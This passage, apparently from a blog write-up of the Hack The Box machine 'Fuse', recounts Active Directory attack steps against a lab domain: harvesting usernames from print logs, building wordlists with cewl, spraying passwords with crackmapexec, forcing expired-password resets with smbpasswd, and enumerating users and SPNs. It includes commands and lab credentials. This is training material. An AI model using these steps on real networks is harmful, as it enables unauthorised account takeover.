Did that mean there was a domain environment here, with the .85 host joined to the domain? In the end, the entire subdomain scan completed without finding a single one.&lt;/p&gt;&#10;&lt;p&gt;After putting all the information together, it looked like there wasn&amp;rsquo;t a vulnerability anywhere. Everything felt like a mess, and I had no idea what was actually going on.&lt;/p&gt;&#10;&lt;p&gt;I shifted my focus away from SMB, DNS, and LDAP and went back to port 80. At this point, I really needed to get either an account or at least a username before I could gather any more information.&lt;/p&gt;&#10;&lt;p&gt;Once I wrote that thought down, it suddenly clicked. The website on port 80 showed historical print logs—and didn&amp;rsquo;t those logs contain usernames? I had clearly seen them earlier.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pmerton&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tlavel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sthompson&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;All that was left was brute force. I worked through the users one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0315.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First, I tried an ASREP-Roasting attack.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0316.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0317.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried everything, but none of it worked. Based on what I had learned so far, I was basically stuck. There were only two paths left: look into ADWS, which I had never touched before, or find another wordlist and keep brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;I searched for ADWS vulnerabilities and found only one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0318.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had tried NTLM relay in other ways before, but this was my first time hearing about ADWS.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/" target="_blank" rel="noopener"&#10; &gt;https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=Blh9LAF92ro" target="_blank" rel="noopener"&#10; &gt;https://www.youtube.com/watch?v=Blh9LAF92ro&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I went through both of these. They explain ADWS relay, but NTLM authentication requires credentials, so this was completely useless here.&lt;/p&gt;&#10;&lt;p&gt;That left only the last option. I personally don&amp;rsquo;t particularly like brute force because it always feels like there&amp;rsquo;s nothing there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0319.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The weak-password brute force didn&amp;rsquo;t find anything either. I wasn&amp;rsquo;t planning to use cewl to build a wordlist because, after looking at the page, there didn&amp;rsquo;t seem to be much to extract. In short, I was completely stuck.&lt;/p&gt;&#10;&lt;p&gt;None of the techniques I had learned so far could get me any more information, so I decided to check the Hack The Box hint and see what it revealed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0320.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the hint. Did this mean those users actually had weak passwords? Fine, I would just use cewl to generate a password list and brute-force them properly.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, I still got no results. At this point I had no choice but to look at a write-up. I had previously read OSCP retrospectives saying that you absolutely need to prepare good wordlists because so many places require brute force. If my wordlist was the problem, then at least this box could help me expand it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers &amp;gt; wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl -d 5 -m 3 --with-numbers -w passwords.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl -w passfile.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl -w pwd.txt --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;These are the commands I found in several blogs for this step. There really wasn&amp;rsquo;t much explanation: you simply need to include numbers by adding the &amp;ndash;with-numbers flag.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers &amp;gt; wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb fabricorp.local -u user.txt -p wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Found two credential pairs, but both return STATUS_PASSWORD_MUST_CHANGE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fabricorp.local\bhult:Fabricorp01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fabricorp.local\tlavel:Fabricorp01&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0321.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So now I needed to log in.&lt;/p&gt;&#10;&lt;p&gt;I started trying every available login point. Based on the open services, I could try RPC, SMB, LDAP, and WinRM, but every one of them returned NT_STATUS_PASSWORD_MUST_CHANGE.&lt;/p&gt;&#10;&lt;p&gt;It felt like getting the password was no different from not having it at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/" target="_blank" rel="noopener"&#10; &gt;https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog explains how to change a password remotely, so I gave it a try.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r 10.10.10.193 -U bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r 10.10.10.193 -U tlavel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r fabricorp.local -U tlavel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r fabricorp.local -U bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It kept saying the connection had failed. I was losing my mind. The message seemed to suggest it couldn&amp;rsquo;t be done locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://daniel-schwarzentraub.medium.com/tryhackme-boot-to-root-room-razorblack-8b4ec8ec5118" target="_blank" rel="noopener"&#10; &gt;https://daniel-schwarzentraub.medium.com/tryhackme-boot-to-root-room-razorblack-8b4ec8ec5118&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This is a write-up for another box. The author ran into the same issue and chose impacket-smbpasswd to change the password.&lt;/p&gt;&#10;&lt;p&gt;Following that lead, I found this: &lt;a class="link" href="https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It finally worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python smbpasswd.py bhult@10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0322.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult:Fabricorp@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;But the password hadn&amp;rsquo;t actually changed. It was still the original one.&lt;/p&gt;&#10;&lt;p&gt;Using the command below finally worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python smbpasswd.py bhult@fabricorp.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult:Fabricorp@123!@#&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could connect over RPC, but after disconnecting, the password changed back again. I went online and grabbed a random password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult:2x@oteL8YOJa&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -L //10.10.10.193/ -U bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password for [WORKGROUP\bhult]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;Sharename Type Comment&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;--------- ---- -------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;ADMIN$ Disk Remote Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;C$ Disk Default share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;HP-MFT01 Printer HP-MFT01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;IPC$ IPC Remote IPC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;NETLOGON Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;print$ Disk Printer Drivers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;SYSVOL Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB1 disabled -- no workgroup available&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now I could do quite a lot. (It seemed to reset once a minute, or perhaps immediately after a connection. Either way, it had to be one of those two.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[Administrator] rid:[0x1f4]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[Guest] rid:[0x1f5]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[krbtgt] rid:[0x1f6]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[DefaultAccount] rid:[0x1f7]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[svc-print] rid:[0x450]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[bnielson] rid:[0x451]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[sthompson] rid:[0x641]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[tlavel] rid:[0x642]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[pmerton] rid:[0x643]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[svc-scan] rid:[0x645]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[bhult] rid:[0x1bbd]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[dandrews] rid:[0x1bbe]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[mberbatov] rid:[0x1db1]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[astein] rid:[0x1db2]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[dmuir] rid:[0x1db3]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py fabricorp.local/bhult:YcfOrivT1QUp -dc-ip 10.10.10.193 -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;No entries found!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;tlavel%9VwzPigFmknx&amp;#34; -c 